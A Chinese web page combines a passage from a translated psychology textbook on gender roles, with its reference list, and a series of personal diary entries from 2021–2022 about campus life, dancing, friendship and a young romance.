　　另一方面，低工具性的人（缺乏自信和个人魄力的人）往往不如那些高工具性的人（任务导向的技能高的人）自尊程度高和适应能力强（Stake & Eisele，2010）。在“应对事务”上有能力和效率的人通常自我感觉良好（Reis et al.，2000）。所以，屈从于传统的性别角色对女人也是一种伤害，剥夺了她们可能取得更多成功和成就的技能。传统性别角色也让女人少赚金钱。在全世界，传统型女人比上班的女人收入低（Stickney & Konrad，2007）。

　　这一切都表明，工具性和表达性都是有价值的特质，幸福、适应能力强、有效率和心理健康的人士通常都同时拥有这两组技能（Stake & Eisele，2010）。详而言之，那些拥有满意、幸福伴侣的理想夫妻，他们的工具性和表达性通常都很高（Marshall，2010）。在实际生活中，如果人们可以选择的话，大多数人更喜欢双性化的恋人或配偶，而不是完全男子气或完全女人味的恋人或配偶（Green & Kenrick，1994）。

　　然而讽刺的是，人们往往会给那些不完全符合“恰当”性别角色的人很大的压力。妇女如果表现得如男人那般好强、自信，很容易被人认为霸道、无礼和“不像个女人”（Parks-Stamm et al.，2008），在工作中也更容易受到性骚扰（Berdahl，2007）。然而，如果性别角色期望有什么性别差异的话，那就是对男性的性别角色期望比对女性更为严格（Vandello et al.，2008）。女孩像个假小子，大家都不会放在心上，但是如果男孩子娘娘腔十足，大家就会很担心了（Sandnabba & Ahlberg，1999）。美国社会的性别角色的变化虽然缓慢，但的确在改变，尤其是每一代的新生女性都变得更加具有工具性（Twenge，2009），年轻人也逐渐变得更加男女平等，对男女性别角色的看法也不那么传统了（Bryant，2003）。但无论如何，即使性别角色的刻板印象限制了我们的潜能，甚至有时候还是错误的，但它仍将持续地存在。今天我们仍期望和鼓励男人具有工具性，女人具有表达性（Heilman & Wallen，2010），这些性别角色期望正是使亲密关系变得错综复杂的重要因素。

　　原书该章节相应参考文献：

　　Wood,W.,& Eagly,A.H.(2009).Gender identity.In M.R.Leary & R.H.Hoyle (Eds.),Handbook of individual differences in social behavior (pp.109–125).New York: Guilford Press.

　　Wood,W.,& Eagly,A.H.(2010).Gender.In S.Fiske,D.Gilbert,& G.Lindzey (Eds.),Handbook of social psychology (5th ed.,Vol.1,pp.629–667).Hoboken,NJ: Wiley.

　　Kite,M.E.,Deaux,K.,& Haines,E.L.(2008).Gender stereotypes.In F.L.Denmark & M.A.Paludi (Eds.), Psychology of women: A handbook of issues and theories (2 nd ed.,pp.205236).Westport,CT: Praeger.

　　Cleveland,H.H.,Udry,J.R.,& Chantala,K.(2001).Environmental and genetic influences on sextyped behaviors and attitudes of male and female adolescents. Personality and Social Psychology Bulletin,27,1587–1598.

　　Lippa,R.,& Hershberger,S.(1999).Genetic and environmental influences on individual differences in masculinity,femininity,and gender diagnosticity: Analyzing data from a classic twin study. Journal of Personality,67,127–155.

　　Reid,P.T.,Cooper,S.M.,& Banks,K.H.(2008).Girls to women: Developmental theory,research,and issues.In F.L.Denmark & M.A.Paludi (Eds.), Psychology of women: A handbook of issues and theories (2 nd ed.,pp.237–270).Westport,CT: Praeger.

　　Bem, S. L. (1993). The lenses of gender: Transforming the debate on sexual inequality. New Haven, CT:Yale University Press.

　　Cheng,C.(2005).Processes underlying gender-role flexibility: Do androgynous individuals know more or know how to cope–　Journal of Personality,73,645–673.

　　Choi,N.,Fuqua,D.R.,& Newman,J.L.(2007).Hierarchical confirmatory factor analysis of the Bem Sex Role Inventory. Educational and Psychological Measurement,67,818–832.

　　Ickes,W.(1985).Sex-role influences on compatibility in relationships.In W.Ickes (Ed.), Compatible and incompatible relationships (pp.187–208).New York: Springer-Verlag.

　　Ickes,W.,& Barnes,R.D.(1978).Boys and girls together–and alienated: On enacting stereotyped sex roles in mixed-sex dyads. Journal of Personality and Social Psychology,36,669–683.

　　Helms,H.M.,Proulx,C.M.,Klute,M.M.,McHale,S.M.,& Crouter,A.C.(2006).Spouses’ gendertyped attributes and their links with marital quality: A pattern analytic approach. Journal of Social and Personal Relationships,23,843–864.

　　Marshall,T.C.(2010).Gender,peer relations,and intimate romantic relationships.In J.Chrisler & D.McCreary (Eds.),Handbook of gender research in psychology (Vol.2,pp.281–310).New York: Springer.

　　Reis,H.T.,Sheldon,R.M.,Gable,S.L.,Roscoe,J.,& Ryan,R.M.(2000).Daily well-being: The role of autonomy,competence,and relatedness. Personality and Social Psychology Bulletin,26,419-435.

　　Miller,P.J.E.,Caughlin,J.P.,& Huston,T.L.(2003).Trait expressiveness and marital satisfaction: The role of idealization processes. Journal of Marriage and the Family,65,978–995.

　　Steiner-Pappalardo,N.L.,& Gurung,R.A.R.(2002).The femininity effect: Relationship quality,sex,gender,attachment,and significant-other concepts. Personal Relationships,9,313–325.

　　Stake,J.E.,& Eisele,H.(2010).Gender and personality.In J.Chrisler & D.McCreary (Eds.),Handbook of gender research in psychology (Vol.2,pp.19–40).New York: Springer.

　　Stickney,L.T.,& Konrad,A.M.(2007).Gender-role attitudes and earnings: A multinational study of married women and men. Sex Roles,57,801–811.

　　Green,B.L.,& Kenrick,D.T.(1994).The attractiveness of gender-typed traits at different relationship levels: Androgynous characteristics may be desirable after all. Personality and Social Psychology Bulletin,20,244–253.

　　Parks-Stamm,E.J.,Heilman,M.E.,& Hearns,K.A.(2008).Motivated to penalize: Women'S strategic rejection of successful women. Personality and Social Psychology Bulletin,34,237–247.

　　Vandello,J.A.,Bosson,J.K.,Cohen,D.,Burnaford,R.M.,& Weaver,J.R.(2008).Precarious manhood.Journal of Personality and Social Psychology,93,1325–1339.

　　Sandnabba,N.K.,& Ahlberg,C.(1999).Parents– attitudes and expectations about children'S crossgender behavior. Sex Roles,40,249–263.

　　Twenge,J.M.(2009).Status and gender: The paradox of progress in an age of narcissism.Sex Roles,61,338–340.

　　Bryant,A.N.(2003).Changes in attitudes toward women’s roles: Predicting gender-role traditionalism among college students. Sex Roles,48,131–142.

　　Heilman,M.E.,& Wallen,A.S.(2010).Wimpy and undeserving of respect: Penalties for men'S gender-inconsistent success.Journal of Experimental Social Psychology,46,664–667.

随记 - 2022 年 2 月 7 日

　　因为昨天太忙，没写日记，遂今天写个随记补上吧。

　　昨天中午收到一张图，灵发来的。

　　图上跃着一只老虎，纯红色的背景，还用几个黄色的字写着吉祥话。典型的过年喜庆才会有的图。只是那吉祥话中含有我的姓氏。

　　她说可以用作壁纸。

　　我是奇怪又诧异，在没搞清楚之前还有一丝丝震撼。因为图案太过卡通，我还以为是她画的。

　　“这是你画的？”

　　“没有啊，这是生成的。”

　　“吓死我了，我还以为我需要羞愧而死了。”

　　随后她发来一个链接，这链接点进去是活动页面，他们学校弄的，姓氏壁纸。

　　我其实说不太清楚这种感觉。

　　我试图想象，她在打开那个页面给自己弄一张壁纸之后，出于什么原因又输入我的姓氏去生成这一张壁纸。但我想象不出来。

　　但我确乎是欣喜又有些感动。

　　让我想起前两天和骆玩游戏，因为最近很忙，上线的时间不是很多，所以装备和他们差了一大截。然后一上线，他们看我寒酸得不行都在电话里笑。

　　“来来来，过来，给你这个，看你穷得，真的是。”

　　一群人，围着你，疯狂给你丢东西。像扔垃圾一样（笑。

　　你看着自己的物品栏迅速被填满，那几秒钟其实你不知道说什么好。

　　我自己是这样的。

　　一个人总容易胡思乱想想很多。跟着朋友在一起，很容易因为两个人之间的互动而被拽入现实生活。

　　那种感觉，像什么呢？像，你平时总是站着，感觉与任何时候没有两样，但当你真正躺下来，躺在学校的操场或是什么草坪上，你才会发现：原来自己平时离大地那么遥远。

　　有广袤的大地在下面供自己站立，其实是很安心的一种感觉。

　　我忽然想起了《颠倒的帕特玛》。可能我现在才稍微了解一点吧。


　　下午，她还给我推荐了几本书，是漫画。

　　有人能分享书，其实也是一件很开心的事情。因为似乎打破了看起来很有道理的那么一句话：“世界上有四种东西是不能分享的：书、电影、音乐和心情。”


　　今天，家乡下雪了。

　　是微雪，几乎看不到那种。只能通过缓慢的飘落速度来捕捉到。

　　要是能再大一点就好了。


　　南国微雪 Miyuki

　　2022 年 2 月 7 日

随记 - 2022 年 1 月 20 日

　　每次来县城都会发生点意外。

　　下雨，不是很大，但是地面已经湿掉了。

　　一个小女孩，大概五六岁吧，一个人玩，突然在我面前摔倒了。

　　哭着要找妈妈。

　　犹豫了一下，蹲下来给她擦眼泪，擦衣服，问她妈妈在哪里，然后手牵手带过去。


　　我终究成了自己小说当中，那个笨拙地逗着小孩子开心的男生。


　　南国微雪 Miyuki

　　2022 年 1 月 20 日

随记 - 2021 年 12 月 26 日

　　去吃了一顿面条。没有多少汤。几乎是干拌面。

　　吃着吃着，忽然有一瞬间觉得很熟悉。但又想不起来是什么。

　　我看了看窗外，今天很冷，大雾弥漫。

　　路灯光如墨水滴入水中一般，晕散在玻璃上，渗透出微微的黄。

　　那时候可不是这样。我突然忆起来了。

　　那是高考前夕，天蓝得通透，那是我唯一一次看到那般蓝到有些假的天。学校后面，校园广场，有一家面馆的老板我很熟悉。骆托我带份吃的。只有那个老板的店仍然开着。

　　我从校园广场朝宿舍出发。炙热的光线将地面染成一片黄，我想买两根冰淇凌。

　　现在想来那个时刻，如同梦中幻境一样美好。

　　我去了他的宿舍。彼时他刚洗完澡，光着膀子，肩上搭一条毛巾出来吃东西。他要吃干拌面，建议我也试一下。那时我很讨厌这种面条做法，但还是同意了。

　　手持式的那种风扇在长条桌上呼呼地转着。外面有着经典的夏天的温度和味道。

　　他变魔法似的拿出两瓶怡宝。瓶子壁上面细密的水珠还没有聚成一起留下。

　　那次面条什么味道我已经全然忘了，我只有一个印象：大概不如我想象中的那样坏。周围所有的一切，都像是在预示着有什么将会不一样。


　　我吃完，在食堂的座位上呆坐了很久。

　　大学已经三年了。

　　我得到了些什么，又失去了些什么？


　　南国微雪 Miyuki

　　2021 年 12 月 26 日

随记 - 2021 年 11 月 30 日

　　我一直认为，跨国邮件什么的，应该与我毫无关联。

　　以前的自己大概也不曾想过，会有异国的朋友。

　　“寄信人地址写在信封正面的左上角或信封反面的上半部。国名和地名……”

　　我刚买到这封信封的时候，意外地在信封内折发现了这些提示。瞬间被感动。之前上网搜的国际信封书写格式总狐疑是否管用。看到这几行字，就跟拿到了玩具的小孩子似的。

　　我盯着它们发呆。

　　忽然觉得生活变幻莫测。在寄信这件事情上，我的体验约莫超越了我认识的所有人。

　　5 封国际信封，花了我 1 块钱。

　　“五封诶，还是国际信封，就花了我一块钱，我真觉得很不可思议。”我对室友这么说。

　　“国际信封又怎么了，说到底不还是一张纸嘛。再说了，信封这种东西本来就很便宜，”室友对这种情况倒觉得挺无所谓，“要是它买贵了，我反倒觉得奇怪。”

　　说得也是。

　　《山茶文具店》里面对于信件颇为讲究。第一视角，是位代笔人，以为人写信为生。

　　拜启、案下、御揭、亲展、前略、敬悉尊函。玻璃笔、牛皮纸、羽毛笔、虫瘿墨水、镜像文字。不同笔迹。这些都有讲究。

　　他们是在这方面做到极致，而我只是传达思念。

　　其实，应该没有优劣之分。

　　我之前选信封都挺随便的，能被邮局接受的信封都行。不过邮局接受的不多，几乎也都是邮电局监制，所以想要选可爱的，大抵是不可能的了。

　　所以我想在信封外，做一些礼物。

　　我看着那封国际信封。窗外在下雨。

　　上面的 By Air，似乎在隐隐告诉我它之后的命运。

　　我毫不犹豫地印了下去。


　　南国微雪 Miyuki

　　2021 年 11 月 30 日

随记 - 2021 年 11 月 19 日

　　因为昨天一直想把《当你像鸟飞往你的山》看完，所以就熬了很久的夜。最后看完睡下的时候已经是凌晨三点钟了。我记得曾经有谁说过一句话，叫做：“最接近成功的时候是最容易失去理智的时候”。

　　我想它是正确的。

　　今早睡眼朦胧地起床，收拾好，把昨天没有洗完的衣服继续洗了。

　　还有杯子，也忘了洗了。不过就是这个原因，我才发现了一个有趣的事情。

　　当我拿起洗洁精的时候，我发现它那翻起式的瓶盖外延上，有一层类似于东北大冬天里的象征性冰柱一样的东西。小小的，也没有那么坚硬，不过确实是很像。满满的一圈都是。大概是之前谁不小心在瓶盖上留下了一点液体吧。然后就成了如今的这副样子。

　　当时我觉得挺好笑，因为我觉得那瓶洗洁精，它也是怕冷的，要不怎么会起这种冰柱呢。

　　饶有兴致地盯着看了两眼，便丢在一边了。

　　在洗衣服的时候，一边用手搓着衣服，一边百无聊赖地盯着阳台外边的风景看。

　　忽然看到一只鸟。它以极快的速度冲了下来，然后快到池塘面附近时又骤然减速，然后滑翔而过，稳稳地停在池塘边沿的瓷砖上。

　　只有那一只鸟，也说不定是鹅，我看不清。

　　我觉得在学校里面看到这种情景很稀奇。

　　视角拉近一点，我看见有一个男孩子骑着自行车，双手离开把手，揣在兜里取暖。但他依旧能控制方向。

　　我觉得这个技能很帅。一直没学会过。

　　虽说我觉得很危险。

　　晚上兴冲冲跑去跳舞，那时候经常跳舞的地点已经关门了，我便跑去鼎那里。

　　那里有灯光，虽说很昏暗，但是姑且能照亮着自己，给夜里孤独的舞者一点心理安慰。还有很大一块场地。

　　但到了那个地方我才发现，那是一块分裂割据的地方。

　　鼎下面有一个比较高的平台，齐人胸高，有一个女孩子把书和电脑放在那里，在朗读着什么。模模糊糊听见似乎是历史，而且是备考的那种死板规定好了的格式化历史。

　　然后猛然惊觉现在是十一月中旬。

　　已经这个时间了啊。

　　不远处是一对情侣，坐在长石凳上，玩着手机，时不时传来快活的笑声。

　　离读书的女孩大概两三步远，也是一对情侣，女孩子一直蹲着，长长的头发垂在地上，不知道发生了什么。男朋友似乎对她说了什么，她便泼浪鼓一样摇起头来。

　　我这个时候竟然在想：这样扫来扫去，头发不会弄脏吗？

　　旋即被自己这个想法逗笑。

　　我音响当时开着，声音调得很小，只要再减下一格便完全静音。

　　我寻觅着这块我视之为秘密基地的空地上，还有哪里能安顿下来释放自我。

　　走了四个角落，发现无论怎样都会打扰到那个备考的女生，便放弃了。

　　我驻足在右上角，怔了一下。

　　因为我听到了两种声音，一种是风吹过不远处竹林的沙沙声，还有一种是，蹲在地上的那个女孩子哭泣的声音。

　　坚定了我离开的决心。

　　我临走前听到那个站着的男孩子焦急地喊：“快起来啦！”只有四个音调，但我听出了他的不知所措。

　　鼎周围只有一个路灯，灯光黯淡，希望不会伤到读书女孩的眼睛。

　　倦怠而愁苦的白色灯光，我觉得看起来很像那个男孩子的心情。

　　我猜的。

　　我想象了一下，如果我真在那么一块不大的空地上与他们共处，像是隔着一道空气墙那样，那个场景会是多么荒诞滑稽。

　　中心的女孩正在借着灯光紧张备考背诵；右上角一个小心翼翼不敢开大声音的男孩子在跳舞，音乐动感却小声如耳语；左边一对情侣快活地笑着，把自己手机上有趣的东西拿给心上人看，不时做一些亲密举动；而贴近右下角的那对情侣，女孩子蹲在地上哭泣，长长的头发挡住了所有人的视线，男朋友站在一旁拉着她的手焦急地呼喊而又不知所措。

　　我想起一句话。

　　“人类的悲欢并不相通，我只觉得他们吵闹。”

　　大概会是这样的感觉。


　　在冬天的夜里哈出一口气，摇摇头笑笑。

　　我出发了。

　　回去吧。


　　南国微雪 Miyuki

　　2021 年 11 月 19 日

随记 - 2021 年 10 月 24 日

　　早上看哲学书，看得大受震撼。

　　一本书，从昨天快午夜开始看，今早看完，除了睡觉基本没停过。感觉有毒。

　　手机壳到了，装上之后感觉大不一样，就感觉不是自己的手机了一样。不管是手感还是外形，都有很大的变化，有种熟悉又陌生的感觉。

　　洗个头匆匆往舞蹈室赶，路上看到远方山和天的交界处色调很阴翳，像是要下雨的样子。但是丝毫影响不了我在路上听着歌愉快跳舞的心情♪

　　路上看到有一个妈妈，带着女儿在外面不大的地方打羽毛球，甚至围裙都没有来得及脱下来但脸上仍然还是笑着。就忽然感觉，这种生活应该很幸福吧，忙里偷闲的日子。

　　到了舞蹈室，没想到里面正在上课。

　　常去的那间里面在教 jazz，清一色的女孩子。

　　另一间在教 breaking，清一色的男孩子。

　　看得人有点想笑。不过这种现象也是正常的吧。

　　在玻璃窗外，看基本不足自己半人高的小女孩们跳 jazz 真是一种神奇的体验。授课老师是一个大姐姐，拿着个白色衣架，站在高脚凳上，看起来很凶的样子。

　　我不知道有多少孩子是被逼着来这里学舞的，希望越少越好，舞蹈这个东西本不应该是这个样子。

　　现在的孩子们资源和营养都越来越好了，但是压力也越来越大了。希望这只是我的臆测才好。

　　玻璃窗外是她们的爸爸妈妈们，有的在看着她们，更多的则是百无聊赖地看着手机。

　　属于女孩子们的那间舞蹈室外面坐了一大批家长，而属于男孩子们的那间却基本无人问津。

　　我想，从这上面大概可以看出一点缩影吧。

　　我倚在不远的墙上，看小女孩们通排今天的课程内容，面向的不是镜子，而是玻璃屋外他们的家长。对于这个老师的这个行为我觉得很奇怪，不过或许是让她们不要依赖镜子吧。老师说，要她们表演给外边的家长们看，当时不远处就是我。有个小女孩疑惑地望了我一眼，笑了一下。我也笑了一下，拍拍手鼓掌，竖了个大拇指回去。她似乎不好意思地转过头去。

　　我看完了。只能说，有自信的人，光芒最耀眼。

　　我看向外边，天依旧阴着，但是好像没有要下雨的迹象。

　　快要开始上课了。


　　南国微雪 Miyuki

　　2021 年 10 月 24 日

随记 - 2021 年 10 月 22 日

　　刚刚和室友吃饭，他忽然从座位上起身，神态自若地从我们没有买过饭的商家那里接了两杯水，给了我一杯。我当时笑骂说真够自觉啊。他笑了笑说，反正他们一天肯定也买不完，第二天都要倒掉重新装的。我想了想也是。

　　看向那杯水，淡橙褐色，不是原原本本的水。旋即就猜到了是茶。

　　杯子很烫，隔着厚厚的纸壁也能感觉到传递过来的暖意。

　　双手捧起来，小口小口地嘬着喝，感觉心肺暖成一片。严冬里面瞬间有了一种幸福感。

　　其他室友有的还在吃，我就无意中捧起这股暖意发起呆来，想象着这杯水的历史，想象着它的轨迹，想象着它是怎么来到我们面前的。

　　——于是我想到了茶叶。

　　想到那些开始蜷成一团的叶片，怎样浮在水面上，随着时间和氤氲的水汽起舞，舒开自己的身体，然后慢慢地沉入杯子底部。

　　突然想到了自己。

　　在那些什么都不懂的时候，感觉自己比天还大，叫嚣一切。说好听点叫青春，说难听点叫张狂。

　　懂得多了，舒张开自己身体和灵魂，猛然发觉，自己身边匆匆而过的所有人，都有着相似的成长。或许经历不一样，记忆不一样，感情不一样，体验不一样，但成长几乎别无二致。

　　用已有的知识体验与接触前途那一片未知和浩瀚，将自身变得越来越厚重，像同心圆一样扩张开。然而与无知的接触面也越来越广，自身也越来越沉郁。当厚重敲击到杯子底部，便无声无息了。

　　唯一要做的，只是发散自己的魅力，浸润更多，变得更醇厚。

　　想到这里，忽然就呆住了，直到室友叫醒我。

　　回去的路上突然很想喝茶。到了宿舍翻出自己那一罐茶叶，把玩端详了一下，叹息一声。

　　过期了。


　　南国微雪 Miyuki

　　2021 年 10 月 22 日

随记 - 2021 年 10 月 6 日

　　晚上跑步之前，热身。在一个弯道旁边。看见了一个很温暖的场景。

　　前面一个女孩子戴着耳机，自顾自地走着，速度很慢，在回消息的样子。

　　后面有两个女孩子似乎看到了，被其中一个人手拉着手悄悄地跟在后面。安静又迅速。

　　那个戴耳机的人似乎没意识到自己身后藏了两张不怀好意的笑脸。

　　身后的人依旧在笑着。越笑越开心。

　　说时迟那时快，其中有个人，两只手比了两个剪刀手，按在戴耳机的人的头斜上两方，作兔子耳朵状。

　　笑意渐浓。另外那个人甚至捂了嘴巴，眼角弯成月牙。

　　兔子耳朵跟了五六米。

　　那人好像看了看影子，发现有些不对劲，回头看见两张欠揍的笑脸。然后懵了一下。

　　这下直接给俩人笑得蹲在地上。

　　我也笑了。像是看见了某些纯洁无暇的宝石，在月下熠熠，闪着皎白的芒。


　　跑步途中看见一个女孩子，之前早已忘却却困惑了很久的问题忽然得到了答案。

　　大概在初中想过。

　　为什么，帽子后边的松紧调整带正上面会有那么大一个洞呢？

　　看到眼前这个素不相识的女孩子，想起了那位小姐束起一头长发的样子。

　　随意而慵懒。缱绻的样子，扑面予人一种心动感。

　　像是有人早上从床上坐起，揉着眼睛用懒懒的声音抱怨你烦。

　　像是商店的打折促销广播声。

　　像是无数床单被套，在太阳下随着微风在杆子上舞动。

　　像是早上滴下的露珠和呼吸的那口清新空气。

　　什么时候，也想看她束起头发，戴一下帽子试试看呢。


　　回程。昏黄的灯光。花坛暗处。

　　两人相拥，一男一女。

　　女孩子把脸埋在男孩子上身，男孩子慢慢地抚摸着她的头发，一次又一次。动作看起来很轻。

　　也许她这边遇到什么事情了，才让她这么撒娇。我不知道。

　　路边看到过有人接吻。

　　内心静如湖面。

　　路边也看到过有人相拥。

　　羡慕得要死要活。

　　感觉自己就很奇怪，跟一般人反着来，对着干。

　　“真好啊。”这样想着，一边往宿舍走去。


　　夜晚很黑，也很温柔呢。忽然转凉的天气似乎不那么凶狠了。

　　再忍一天吧。


　　南国微雪 Miyuki

　　2021 年 10 月 6 日

随记 - 2021 年 10 月 2 日

　　这是前天晚上发生的事情。

　　那是我与那位小姐的第一次拥抱。

　　我本以为同以往经历的所有拥抱一样，主动权都在我手上。毕竟一直都是这么过来的。

　　我本以为。


　　我和她在国庆前一天晚上去操场散步，牵着手。回到宿舍区时终于又不可避免地聊起这个假期。她要回家。

　　“那最后抱一个吧。”我说。然后张开手臂等待。

　　“嗯。”她应着，也张开手臂。

　　我们两人拥在一起。

　　她的手轻放在我的背上，我的手也抚着她的背部。手心上还传来她发尾的触感，痒痒的。自诩为话唠的我此刻竟不知道说些什么。

　　相顾无言，沉默片刻。我终于开口。

　　“那，回家好好学习好好玩，明天还要赶车呢。”

　　我打算到此为止，放开她。

　　我本这样打算的。一直以来都是这样。


　　她似乎察觉到了什么，也或许只是做着自己的应答。

　　“嗯。”

　　她应着，只是小小的一声，还往右挪了挪身位，秀发随之晃动，手臂稍微松了一下但旋即又缠了上来。

　　她将我抱得更紧了一些。

　　我在她的肩颈上，感受到她那声回答的震动，以及——身体间更紧密的接触。

　　我心里一瞬间完全崩掉了。大脑一片空白。

　　自我记事起，是第一次有人对我这样做。

　　似乎所有的心意都不证自明，全晕散在这个不到一秒钟的小动作里。

　　我以为我有着所有的主动权。

　　那位小姐却只一下，就将我这个想法击退到九霄云外。


　　宕机了片刻，我反应了过来。

　　“那就这样了，回去吧。”我提议。

　　“嗯。”她松开我。

　　虽然很想马上逃开，但我还是目送着她去往宿舍楼深处。

　　没关系，我不上脸。所以不会红。

　　但是心里极度难为情。

　　我逃命似的离开了那里，飞奔回往宿舍。然而状况逐渐不妙起来。

　　越来越难为情。

　　那位小姐都干了些什么啊……真的是……

　　我终于受不了，在自己的宿舍楼一楼楼道转角处蹲了一分钟左右。

　　蹲下来摸自己的脸，微微有些发烫。


　　我怎么害羞成这个鬼样子。在心里鄙视自己。

　　慢慢踱回宿舍。降温。

　　后来我问她，她却说自己对于害羞完全没有感觉。

　　“那一瞬间真的不想你走……所以对害羞就没有感觉了，只剩下不想离开了。”她在那边送出这几行字。

　　我看后，脸上差点又发起烧来。


　　这个死丫头。烦死了。


　　南国微雪

　　写于 2021 年 10 月 2 日

随记 - 2021 年 9 月 30 日

　　晚上，送那位小姐回宿舍。

　　“那……我走了？”她看了看我，向前迈出一步，没有再继续。

　　“嗯。”我应了，同她道别。

　　她继续向前迈着步子。没有回头。

　　我就这样静静看着她回去，边看着边往后退。

　　她穿过宿舍区的铁门。

　　我仍旧看着她的背影。我不知道自己的心里在想着什么，不过可能这个举动，自从想做以后，就已经默默中习惯了。


　　恍惚之中，我看见那件蓝色的衣服驻足，转身，歪着头。

　　手上拿着的手机还在发着荧荧的光，头发从肩头滑落，自然地摇摆着，挡住那不经意的光芒。

　　一闪，一闪。

　　我看不清那位小姐的脸。

　　我只知道，在我能目及到的两根铁门柱子之间，有人在寻找着我的身影。


　　原来，我也是一直在被注视着的啊。我想。

　　我看着她再次转身，迈步。

　　我也转身，向目的地进发。

　　我从没告诉过她，我会目送着她远去。

　　那位小姐也从没跟我说过，她会中途转头，确认我的身影。


　　两个人，在某种程度上，都是笨蛋。


　　南国微雪 Miyuki

　　2021 年 9 月 30 日

随记 - 2021 年 9 月 16 日

写在前面

　　今天不发日记。作为补偿，发一些我觉得挺暖和挺乐的东西。

　　以下的「她」均指那位小姐。陈述内容根据叙事手法而定，与聊天记录不完全一致。

正文

　　（晚上，微雪决定去教室学习和工作，询问了那位小姐的意见得知她不来。不久，微雪有了些困意，于是发了消息。）

　　雪：好想睡觉。

　　她：那就回去嘛。

　　雪：不要，明明才来没多久，这是我最后的倔强。不过我着实怕一觉睡过十点半被锁教学楼里边。

　　她：应该不至于吧。

　　她：现在还很困吗？

　　雪：还好，不过还是想睡觉。

　　她：要不，让你开心一下？我还有一个上镜的视频……暑假不给你看的那个…要看吗？

　　雪：要看w。

　　（随后那位小姐让我找到了视频，然后我和她吐槽了诸多的内容。）

　　她：醒了吧现在？

　　雪：啊……醒了。你这个刺激疗法还挺有效（笑。

　　（微雪默默把打在输入框里的“谢谢”又删掉了，他想起是自己说过不喜欢朋友之间说谢谢。）

　　（微雪回到宿舍，与那位小姐聊了一些乱七八糟的东西。）

　　雪：你好呆啊，小姐。

　　她：天天说我呆，看哪天我再好好嘲笑你一番。

　　雪：欸？我觉得我不至于呆成你那个样子哦（笑

　　她：你确定噢？到时候打脸别怪我。

　　（过了没到五分钟。）

　　雪：你洗漱完了吗？

　　她：嗯嗯。

　　雪：好快。

　　她：我一直在寝室啊。

　　雪：昂。

　　她：主要是。

　　（沉默了大概一分钟。）

　　雪：主要是什么？

　　雪：？

　　她：你还说你不呆！

　　雪：？

　　雪：不是，你话不是没说完吗？

　　她：我发了两句话…

　　雪：我知道啊，然后呢？

　　她：倒装…

　　雪：……

　　她：你看你看！你还天天说我呆！


　　总结：不要嘲笑别人，免得自己变笨。做人留一线，日后好相见。


　　南国微雪 Miyuki

　　2021 年 9 月 16 日

随记 - 2021 年 9 月 15 日

　　跟理发师对峙，总是让人心累。那个大叔我认识，一路走过来挺不容易。他背后就是生活。

　　近来发生了很多事，有些事情还不小。但是风依旧吹，甚至还能听到从耳边溜过的呼呼声。

　　记得曾读过一句话，大意是说，有时候重要的选择是在悄无声息中决定的，那时候你仍以为会有与以往一样的日常，仍是看见一成不变的风景，但未来已经默默然拐向了另一条道路。

　　算是悄无声息吗？

　　我想起我自己高考结束。之前以为自己会疯玩一场，撕书，唱 K，去嗨，吃饭聚餐，乱七八糟什么都来一遍。但是实际上什么都没有发生。只是还原教室的桌椅，叫上同好，在体育馆那面暗淡的镜子前跳舞。

　　日常与非日常，可能并没有日漫中那样明显的界限。

　　听到下课钟声响起，把人拉回现实。

　　我想变得强大起来。

　　然而生活与这之间的平衡，似乎总是一个不可调和的难题。

　　我忽而想起，心理咨询师这个职业的悖论：这个职业是为了帮助别人而诞生的，然而来访者与咨询师之间是两个完全不同的个体，所以不得不承认，在某种意义上咨询师帮不了任何人。

　　想着想着忽然觉得这个悖论有些邪教的意味（笑。

　　最后总会把这些工作，全部推给时间。

　　「不是不报，时候未到。」

　　成长确乎是一个缓慢而坚定的过程。

　　外面天很暗，似乎要下雨了呢。


　　南国微雪

　　2021 年 9 月 15 日

随记 - 2021 年 8 月 31 日

　　近来总会陷入一种纠结而又奇怪的思考，我不知道姑且能不能算作哲学思考，知道的只是这种思考常常会令我产生一些奇怪的想法。

　　可能是最近怪书看太多了吧。

　　上完课回来的路上，看见一个坐在电动车驾驶座上，百无聊赖等人的女孩子。如瀑般的长发逃脱几绺，绕过耳侧垂在身前。人来人往，很安静。

　　忽然有一种电影般的视角，她是主人公，一颦一笑皆映人眼，周围是延时摄影后极速闪过的人群。

　　就这样观察别人的生活，似乎也不错。

　　擦肩而过一个熟悉的面孔。回头望了望，是那个在素描课上见过的女孩子。我还记得我曾经夸过那个女生漂亮，然后立即逃开了。最后一节课鼓起勇气，去要联系方式，失败了。神情似乎还挺警惕。

　　我已经不止一次与她擦肩而过了。单论今天，就已经是第二次了。

　　总觉得有些奇怪。

　　可能是最近怪书看太多了吧。

　　要做的事情很多。需要完成一些琐碎，一些练习，还有工程方面追加的需求。课程还堆起来了，时间完全不够用。但我还是想写写这些。

　　虽说说这些可能有些晚了，但，我有真正地进入计算机、绘画和舞蹈的世界吗？

　　我记得我以前曾给一个后辈说过：“你要做好心理准备，当你真正进入一个领域后，所学到的，都是被肢解到完全不成样子的知识，与你对这个领域的第一印象会有极大落差。”

　　事到如今我才真切地体会到，我当初自己所说的话。

　　当初可能带着一点傲慢吧。

　　我手上拿的拼图碎片越来越多，拼出来的领域，跟我当初所见俨然泾渭分明。这是否算是一种背离？

　　知识在扩大，无知也在膨胀，这种正反馈让人望天兴叹。

　　心理学上说，人常在抑郁位和偏执位来回摆动，抑郁位常常是哲学家所在的位置。因为尝试去理解这个世界，所以痛苦。

　　走在路上，戴上眼镜，不由得这么想道。

　　于是我取下眼镜，一片朦胧，不那么清晰，却仍有别样的美感。

　　正当我眯起眼睛的时候，一朵小花落在了我的肩头。

　　周围是同龄人说说笑笑的声音。

　　那一瞬间，我忽然觉得自己离他们很近，又离他们很远。


　　南国微雪

　　2021 年 8 月 31 日

随记 - 2021 年 8 月 2 日

　　盛夏总容易勾起各种各样的回忆。

　　中午，去别人家做客吃饭。回来的时候，哥哥看到了旧房子路边的一棵树，感慨说道：“现在都已经长得这么高了啊。”

　　我后知后觉地看向那里。那是棵枇杷树。生长的条件极为艰苦。

　　我种的。

　　并且是当时我认为最可能长不出来的一株。

　　时间拨回十几年前，忘了自己是小学几年级了。是一个盛夏，母亲端来一盆枇杷，钢盆那种（很有农村的风气w），为我们解凉。我吃了许多，看枇杷的种子煞是惹人爱，滑滑的，又大，挺好玩，就想起种。

　　征得母亲应允后，便抄着自己的小锄头，揣着一大包种子上山了。因为离家不远，视线之内，也没人管我。蹦蹦跳跳的，还跳掉了几颗种子，后来一数才发现不对劲，不过也懒得管了。

　　每种下一颗，就用土盖起来，踩得严严实实。那时候我哪里知道这么做，土壤会板结，植物透不过气。只是一个孩子的直觉——土没有盖严实，要么会被人偷走，要么会长不起来。

